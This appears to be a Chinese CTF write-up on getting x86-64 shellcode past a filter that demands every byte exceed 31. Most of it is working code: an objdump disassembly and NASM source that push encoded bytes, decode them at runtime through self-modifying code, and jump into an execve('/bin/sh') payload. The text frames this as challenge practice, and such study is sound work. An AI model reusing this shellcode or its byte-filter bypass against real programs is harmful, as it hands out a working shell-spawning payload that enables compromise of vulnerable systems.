Shellcode——绕过31
遇到了一道ctf题目，要求shellcode的每一个字节都必须大于31。
如果没有这个限制的话：
这是最方便的了。
但是必须大于31.
所以我想，那就吧所有小于31的加上31，然后运行的时候这部分代码自己修改自己。
也就是SMC,，简称自修改代码。
要注意：
小端输入
rsp寻址
~/Desktop/111
❯ objdump -d ./shellcode -M intel
./shellcode: file format elf64-x86-64
Disassembly of section .text:
0000000000401000 <_start>:
401000: 48 b8 32 41 37 32 32 movabs rax,0x3232323232374132
401007: 32 32 32
40100a: 50 push rax
40100b: 48 b8 31 f6 31 d2 b8 movabs rax,0x32323bb8d231f631
401012: 3b 32 32
401015: 50 push rax
401016: 48 b8 2f 73 68 32 57 movabs rax,0xe78948573268732f
40101d: 48 89 e7
401020: 50 push rax
401021: 48 b8 31 c0 48 bf 2f movabs rax,0x6e69622fbf48c031
401028: 62 69 6e
40102b: 50 push rax
40102c: 68 32 32 32 32 push 0x32323232
401031: 68 32 32 32 32 push 0x32323232
401036: 68 32 32 32 32 push 0x32323232
40103b: 68 32 32 32 32 push 0x32323232
401040: 8a 44 24 2b mov al,BYTE PTR [rsp+0x2b]
401044: 2c 32 sub al,0x32
401046: 88 44 24 2b mov BYTE PTR [rsp+0x2b],al
40104a: 8a 44 24 36 mov al,BYTE PTR [rsp+0x36]
40104e: 2c 32 sub al,0x32
401050: 88 44 24 36 mov BYTE PTR [rsp+0x36],al
401054: 8a 44 24 37 mov al,BYTE PTR [rsp+0x37]
401058: 2c 32 sub al,0x32
40105a: 88 44 24 37 mov BYTE PTR [rsp+0x37],al
40105e: 8a 44 24 38 mov al,BYTE PTR [rsp+0x38]
401062: 2c 32 sub al,0x32
401064: 88 44 24 38 mov BYTE PTR [rsp+0x38],al
401068: 8a 44 24 39 mov al,BYTE PTR [rsp+0x39]
40106c: 2c 32 sub al,0x32
40106e: 88 44 24 39 mov BYTE PTR [rsp+0x39],al
401072: 8a 44 24 3a mov al,BYTE PTR [rsp+0x3a]
401076: 2c 32 sub al,0x32
401078: 88 44 24 3a mov BYTE PTR [rsp+0x3a],al
40107c: 48 83 c4 20 add rsp,0x20
401080: 48 89 e7 mov rdi,rsp
401083: ff e7 jmp rdi
asm代码：
section .text
global _start
_start:
; 打开 /bin/sh
mov rax, 0x3232323232374132
push rax
;11
mov rax, 0x32323bb8d231f631
push rax
;22 23
mov rax, 0xe78948573268732f
push rax
;24 25 26 27 28 29 30 31
mov rax, 0x6e69622fbf48c031
push rax
push 0x32323232
push 0x32323232
push 0x32323232
push 0x32323232
mov al, [rsp+31+12]
sub al, 0x32
mov [rsp+31+12], al
mov al, [rsp+31+23]
sub al, 0x32
mov [rsp+31+23], al
mov al, [rsp+31+24]
sub al, 0x32
mov [rsp+31+24], al
mov al, [rsp+31+25]
sub al, 0x32
mov [rsp+31+25], al
mov al, [rsp+31+26]
sub al, 0x32
mov [rsp+31+26], al
mov al, [rsp+31+27]
sub al, 0x32
mov [rsp+31+27], al
add rsp,32
mov rdi,rsp
jmp rdi
;mov rdi, rsp
;xor esi, esi
;xor edx, edx
;mov eax, 0x3b
;syscall